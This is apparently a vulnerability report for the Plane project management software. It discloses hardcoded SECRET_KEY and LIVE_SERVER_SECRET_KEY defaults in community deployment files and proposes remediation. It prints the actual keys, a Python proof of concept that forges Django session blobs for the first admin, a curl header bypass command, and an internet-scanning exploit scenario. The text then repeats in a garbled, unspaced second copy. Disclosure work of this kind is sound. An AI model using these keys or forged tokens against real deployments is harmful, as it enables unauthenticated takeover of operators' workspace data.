The deployments/aio/community/ and deployments/cli/community/ deployment
manifests ship a fixed, publicly-readable SECRET_KEY and LIVE_SERVER_SECRET_KEY
as the default values for every operator who boots the community stack without
overriding environment variables. The top-level setup.sh only randomizes the
secret for the dev/docker-compose path; the aio and cli paths do not.
Because apps/api/plane/settings/common.py uses os.environ.get("SECRET_KEY", ...)
and the compose file supplies the hard default via ${SECRET_KEY:-<value>},
these keys become the effective production keys on unchanged deployments.
Affected files (at commit cf696d2)
| File |
Line |
Value |
deployments/aio/community/variables.env |
29 |
SECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5 |
deployments/aio/community/variables.env |
53 |
LIVE_SERVER_SECRET_KEY=htbqvBJAgpm9bzvf3r4urJer0ENReatceh |
deployments/cli/community/variables.env |
57 |
same LIVE_SERVER_SECRET_KEY |
deployments/cli/community/docker-compose.yml |
56, 60 |
${SECRET_KEY:-...} / ${LIVE_SERVER_SECRET_KEY:-...} defaults |
apps/api/plane/settings/common.py |
27 |
SECRET_KEY = os.environ.get("SECRET_KEY", get_random_secret_key()) |
apps/live/src/lib/auth-middleware.ts |
38 |
if (secret !== process.env.LIVE_SERVER_SECRET_KEY) ... (plain compare) |
Impact
-
Django session / signed-value forgery (SECRET_KEY) -- SECRET_KEY is
the root of trust for every Django cryptographic primitive used by Plane:
django.core.signing.Signer / TimestampSigner / dumps / loads, the
password-reset token generator, account-activation / email-confirmation
links, signed-cookie session payloads, and any CSRF/remember-me tokens
derived from it. Disclosure of this key allows an unauthenticated remote
attacker to mint arbitrary signed values that the backend will accept as
authentic -- including forged password-reset tokens and
_auth_user_id-bearing signed session blobs for user_id=1 (first admin).
-
Live collaboration auth bypass (LIVE_SERVER_SECRET_KEY) -- The live
service middleware (apps/live/src/lib/auth-middleware.ts:38) compares the
client-supplied header against process.env.LIVE_SERVER_SECRET_KEY with a
plain !==. With the hardcoded value, an attacker simply sends
live-server-secret-key: htbqvBJAgpm9bzvf3r4urJer0ENReatceh and gains
privileged access to live-server endpoints.
Together these give unauthenticated remote takeover of any default
community aio/cli deployment -- full confidentiality, integrity, and
availability impact on all workspace data.
Proof of Concept
Offline forgery against the shipped key, executed 2026-04-11 with
Django 6.0.3 + Python 3:
import django
from django.conf import settings
settings.configure(SECRET_KEY="60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5")
django.setup()
from django.core.signing import TimestampSigner, dumps, loads
print(TimestampSigner().sign("admin@plane.local"))
blob = dumps({"_auth_user_id": "1",
"_auth_user_hash": "deadbeef",
"_auth_user_backend": "plane.authentication.backends.EmailBackend"})
print(blob)
print(loads(blob)) # round-trip succeeds -> key is valid
Output (verbatim):
admin@plane.local:1wBg9v:P1JezVuG56DTuwyqMQpxrhLbQt6lk3JEBTytzakVc-w
eyJfYXV0aF91c2VyX2lkIjoiMSIsIl9hdXRoX3VzZXJfaGFzaCI6ImRlYWRiZWVmIiwiX2F1dGhfdXNlcl9iYWNrZW5kIjoicGxhbmUuYXV0aGVudGljYXRpb24uYmFja2VuZHMuRW1haWxCYWNrZW5kIn0:1wBg9v:XKR_DNwo8vu9Sxf9w6mTYNA4uBEPwZMvZZNHLcsrkmI
{'_auth_user_id': '1', '_auth_user_hash': 'deadbeef',
'_auth_user_backend': 'plane.authentication.backends.EmailBackend'}
The round-trip through loads() demonstrates that any Plane backend running
with the shipped environment file will cryptographically accept these
attacker-minted values. For the live-server: curl -H "live-server-secret-key: htbqvBJAgpm9bzvf3r4urJer0ENReatceh" http://<host>/<live-route> against any default community deployment bypasses the middleware check in auth-middleware.ts:38.
Exploit scenario
- Attacker scans the internet for Plane community deployments (Shodan /
favicon hash / /api/v1/workspaces/ fingerprint).
- Attacker mints a signed session blob or password-reset token with the
hardcoded SECRET_KEY, sends it to the victim instance, and receives
authenticated access as an existing user (including the first admin).
- In parallel, the attacker sends requests to the live-server with the
hardcoded LIVE_SERVER_SECRET_KEY header and gains privileged realtime
access.
- Result: full read/write over all workspace data on every affected
deployment, without any prior authentication.
Remediation
- Remove all hardcoded secrets from
deployments/aio/community/variables.env,
deployments/cli/community/variables.env, and the ${VAR:-default}
fallbacks in the corresponding docker-compose.yml files.
- Extend
setup.sh (or the first-boot entrypoint of the aio/cli images) to
generate cryptographically random SECRET_KEY and LIVE_SERVER_SECRET_KEY
values on first run and persist them to the env file, matching the dev
compose behavior.
- Refuse to boot the API and live services if either secret equals the
previously-shipped known value (hard fail with a clear message).
- Replace the plain
!== compare in apps/live/src/lib/auth-middleware.ts
with a constant-time comparison (crypto.timingSafeEqual).
- Publish a security advisory rotating the known values and instructing
existing operators to regenerate both keys.
References
deployments/aio/community/variables.env --
|
SECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5 |
deployments/aio/community/variables.env --
|
LIVE_SERVER_SECRET_KEY=htbqvBJAgpm9bzvf3r4urJer0ENReatceh |
deployments/cli/community/variables.env --
|
SECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5 |
deployments/cli/community/docker-compose.yml --
|
SECRET_KEY: ${SECRET_KEY:-60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5} |
|
AMQP_URL: ${AMQP_URL:-amqp://plane:plane@plane-mq:5672/plane} |
|
API_KEY_RATE_LIMIT: ${API_KEY_RATE_LIMIT:-60/minute} |
|
MINIO_ENDPOINT_SSL: ${MINIO_ENDPOINT_SSL:-0} |
|
LIVE_SERVER_SECRET_KEY: ${LIVE_SERVER_SECRET_KEY:-2FiJk1U2aiVPEQtzLehYGlTSnTnrs7LW} |
apps/api/plane/settings/common.py --
|
SECRET_KEY = os.environ.get("SECRET_KEY", get_random_secret_key()) |
apps/live/src/lib/auth-middleware.ts --
|
if (!secretKey || secretKey !== env.LIVE_SERVER_SECRET_KEY) { |
- Django signing docs: https://docs.djangoproject.com/en/5.0/topics/signing/
- CWE-798: https://cwe.mitre.org/data/definitions/798.html
The
deployments/aio/community/anddeployments/cli/community/deploymentmanifests ship a fixed, publicly-readable
SECRET_KEYandLIVE_SERVER_SECRET_KEYas the default values for every operator who boots the community stack without
overriding environment variables. The top-level
setup.shonly randomizes thesecret for the dev/docker-compose path; the
aioandclipaths do not.Because
apps/api/plane/settings/common.pyusesos.environ.get("SECRET_KEY", ...)and the compose file supplies the hard default via
${SECRET_KEY:-<value>},these keys become the effective production keys on unchanged deployments.
Affected files (at commit
cf696d2)deployments/aio/community/variables.envSECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5deployments/aio/community/variables.envLIVE_SERVER_SECRET_KEY=htbqvBJAgpm9bzvf3r4urJer0ENReatcehdeployments/cli/community/variables.envLIVE_SERVER_SECRET_KEYdeployments/cli/community/docker-compose.yml${SECRET_KEY:-...}/${LIVE_SERVER_SECRET_KEY:-...}defaultsapps/api/plane/settings/common.pySECRET_KEY = os.environ.get("SECRET_KEY", get_random_secret_key())apps/live/src/lib/auth-middleware.tsif (secret !== process.env.LIVE_SERVER_SECRET_KEY) ...(plain compare)Impact
Django session / signed-value forgery (SECRET_KEY) --
SECRET_KEYisthe root of trust for every Django cryptographic primitive used by Plane:
django.core.signing.Signer/TimestampSigner/dumps/loads, thepassword-reset token generator, account-activation / email-confirmation
links, signed-cookie session payloads, and any CSRF/remember-me tokens
derived from it. Disclosure of this key allows an unauthenticated remote
attacker to mint arbitrary signed values that the backend will accept as
authentic -- including forged password-reset tokens and
_auth_user_id-bearing signed session blobs foruser_id=1(first admin).Live collaboration auth bypass (LIVE_SERVER_SECRET_KEY) -- The live
service middleware (
apps/live/src/lib/auth-middleware.ts:38) compares theclient-supplied header against
process.env.LIVE_SERVER_SECRET_KEYwith aplain
!==. With the hardcoded value, an attacker simply sendslive-server-secret-key: htbqvBJAgpm9bzvf3r4urJer0ENReatcehand gainsprivileged access to live-server endpoints.
Together these give unauthenticated remote takeover of any default
community aio/cli deployment -- full confidentiality, integrity, and
availability impact on all workspace data.
Proof of Concept
Offline forgery against the shipped key, executed 2026-04-11 with
Django 6.0.3 + Python 3:
Output (verbatim):
The round-trip through
loads()demonstrates that any Plane backend runningwith the shipped environment file will cryptographically accept these
attacker-minted values. For the live-server:
curl -H "live-server-secret-key: htbqvBJAgpm9bzvf3r4urJer0ENReatceh" http://<host>/<live-route>against any default community deployment bypasses the middleware check inauth-middleware.ts:38.Exploit scenario
favicon hash /
/api/v1/workspaces/fingerprint).hardcoded
SECRET_KEY, sends it to the victim instance, and receivesauthenticated access as an existing user (including the first admin).
hardcoded
LIVE_SERVER_SECRET_KEYheader and gains privileged realtimeaccess.
deployment, without any prior authentication.
Remediation
deployments/aio/community/variables.env,deployments/cli/community/variables.env, and the${VAR:-default}fallbacks in the corresponding
docker-compose.ymlfiles.setup.sh(or the first-boot entrypoint of the aio/cli images) togenerate cryptographically random
SECRET_KEYandLIVE_SERVER_SECRET_KEYvalues on first run and persist them to the env file, matching the dev
compose behavior.
previously-shipped known value (hard fail with a clear message).
!==compare inapps/live/src/lib/auth-middleware.tswith a constant-time comparison (
crypto.timingSafeEqual).existing operators to regenerate both keys.
References
deployments/aio/community/variables.env--plane/deployments/aio/community/variables.env
Line 29 in cf696d2
deployments/aio/community/variables.env--plane/deployments/aio/community/variables.env
Line 53 in cf696d2
deployments/cli/community/variables.env--plane/deployments/cli/community/variables.env
Line 57 in cf696d2
deployments/cli/community/docker-compose.yml--plane/deployments/cli/community/docker-compose.yml
Lines 56 to 60 in cf696d2
apps/api/plane/settings/common.py--plane/apps/api/plane/settings/common.py
Line 27 in cf696d2
apps/live/src/lib/auth-middleware.ts--plane/apps/live/src/lib/auth-middleware.ts
Line 38 in cf696d2